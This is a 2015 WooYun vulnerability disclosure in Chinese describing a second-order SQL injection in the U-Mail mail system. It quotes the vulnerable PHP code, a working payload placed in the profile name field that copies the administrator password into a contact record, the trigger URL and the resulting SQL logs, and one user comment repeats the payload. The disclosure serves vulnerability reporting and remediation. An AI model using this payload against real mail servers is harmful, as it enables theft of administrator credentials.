当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099221

漏洞标题:U-Mail邮件系统二次注入3(不鸡肋,可获取管理员密码)

相关厂商:U-Mail

漏洞作者: Ano_Tom

提交时间:2015-03-06 11:47

修复时间:2015-06-09 08:48

公开时间:2015-06-09 08:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-06: 细节已通知厂商并且等待厂商处理中
2015-03-11: 厂商已经确认,细节仅向厂商公开
2015-03-14: 细节向第三方安全合作伙伴开放
2015-05-05: 细节向核心白帽子及相关领域专家公开
2015-05-15: 细节向普通白帽子公开
2015-05-25: 细节向实习白帽子公开
2015-06-09: 细节向公众公开

简要描述:

U-Mail邮件系统二次注入漏洞,可直接获取管理员密码

详细说明:

版本:最新版v9.8.57
漏洞文件 /client/oab/module/operates.php 代码

if ( ACTION == "save-to-pab" )
{
include_once( LIB_PATH."PAB.php" );
$PAB = PAB::getinstance( );
$maillist_id = gss( $_GET['maillist'] );
if ( $maillist_id )
{
$member_all = $Maillist->getMemberByMaillistID( $maillist_id, "Mailbox,FullName", 0 );
if ( !$member_all )
{
dump_json( array( "status" => TRUE, "message" => "" ) );
}
foreach ( $member_all as $member )
{
if ( !$PAB->getContactByMail( $user_id, $member['Mailbox'], "contact_id", 0 ) )
{
$data = array(
"user_id" => $user_id,
"fullname" => $member['FullName'],//二次注入
"pref_email" => $member['Mailbox'],
"updated" => date( "Y-m-d H:i:s" )
);
$res = $PAB->add_contact( $data, 0 );
if ( !$res )
{
dump_json( array(
"status" => FALSE,
"message" => el( "添加联系人时发生错误,添加失败!", "" )
) );
}
}
}
}
else
{
$user_ids = gss( $_GET['userlist'] );
$user_ids = id_list_filter( $user_ids );//WooYun-2014-72963
if ( !$user_ids )
{
dump_msg( "param_error", el( "参数错误!", "" ) );
}
$where = "t1.UserID IN (".$user_ids.")";
$arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, "", "", "", "", 0 );
$user_all = $arr_tmp['data'];
if ( !$user_all )
{
dump_json( array( "status" => TRUE, "message" => "" ) );
}
foreach ( $user_all as $user )
{
$qq = $msn = "";
if ( strpos( $user['qqmsn'], "@" ) )
{
$msn = $user['qqmsn'];
}
else
{
$qq = $user['qqmsn'];
}
if ( !$PAB->getContactByMail( $user_id, $user['email'], "contact_id", 0 ) )
{
$data = array(
"user_id" => $user_id,
"fullname" => $user['FullName'],
"pref_email" => $user['email'],
"pref_tel" => $user['teleextension'] ? $user['teleextension'] : $user['mobil'],
"birthday" => $user['birthday'],
"im_qq" => $qq,
"im_msn" => $msn,
"updated" => date( "Y-m-d H:i:s" )
);
$res = $PAB->add_contact( $data, 0 );//二次注入
if ( !$res )
{
dump_json( array(
"status" => FALSE,
"message" => el( "添加联系人时发生错误,添加失败!", "" )
) );
}
}
}
}
dump_json( array( "status" => TRUE, "message" => "" ) );
}


漏洞是先引入单引号,引入数据库,在个人资料处,填写如下exp,如图
',`homepage`=(SELECT password from userlist where userid=2)#

t.png


http://mail.fuck.com/webmail/client/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=test2

t2.png


然后执行该漏洞函数,请求为

t3.png


查看个人通讯录,找到管理员密码,如图

4.png


SQL执行的过程为

150227 11:43:30	 8724 Connect	umail@localhost on 
8724 Query SET NAMES 'UTF8'
8724 Init DB umail
8724 Query UPDATE userlist SET `FullName`='\',`homepage`=(SELECT password from userlist where userid=2)#',`EnglishName`='' WHERE UserID='13'
8724 Query UPDATE mailuserinfo SET `sex`='0',`birthday`='0000-00-00',`mobil`='',`teleextension`='',`extnum`='',`qqmsn`='',`worknum`='',`memo`='',`o_group`='' WHERE UserID='13'
8724 Quit
150227 11:46:10 8727 Connect umail@localhost on
8727 Query SET NAMES 'UTF8'
8727 Init DB umail
8727 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (13)
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
8727 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (13)
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
8727 Query SELECT contact_id FROM pab_contact WHERE user_id='13' AND pref_email='test2@fuck.com' LIMIT 1
8727 Query INSERT INTO pab_contact SET `user_id`='13',`fullname`='',`homepage`=(SELECT password from userlist where userid=2)#',`pref_email`='test2@fuck.com',`pref_tel`='',`birthday`='0000-00-00',`im_qq`='',`im_msn`='',`updated`='2015-02-27 11:46:10'
8727 Quit

漏洞证明:

如上

修复方案:

入库前进行转义处理

版权声明:转载请注明来源 Ano_Tom@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-03-11 08:47

厂商回复:

CNVD确认漏洞机理分析(暂未本地搭建或互联网实例复现,时间关系),已经由CNVD按以往联系渠道向软件生产厂商通报.

最新状态:

暂无


漏洞评价:

评论

  1. 2015-03-06 13:00 | sqlfeng ( 普通白帽子 | Rank:109 漏洞数:22 | 谁送我HHKB,我就嫁给她!)

    mark

  2. 2015-03-06 13:44 | cnssr4bb1t ( 路人 | Rank:4 漏洞数:2 | 优美。)

    玩坏了

  3. 2015-03-06 13:58 | 明月影 ( 路人 | Rank:12 漏洞数:8 | 学姿势,学思路。)

    二次注入!坐等公开

  4. 2015-04-19 22:07 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    笑哭

  5. 2015-06-09 08:57 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    @Ano_Tom 就差几天 我那个才1个$

  6. 2015-06-09 09:40 | 牛 小 帅 ( 普通白帽子 | Rank:363 漏洞数:84 | [code]心若没有栖息的地方,走到哪里都是在...)

    ',`homepage`=(SELECT password from userlist where userid=2)# 请问这个exp要根据那些if语句来构造的 还是?

  7. 2015-06-09 11:18 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    明文保存密码,屌炸天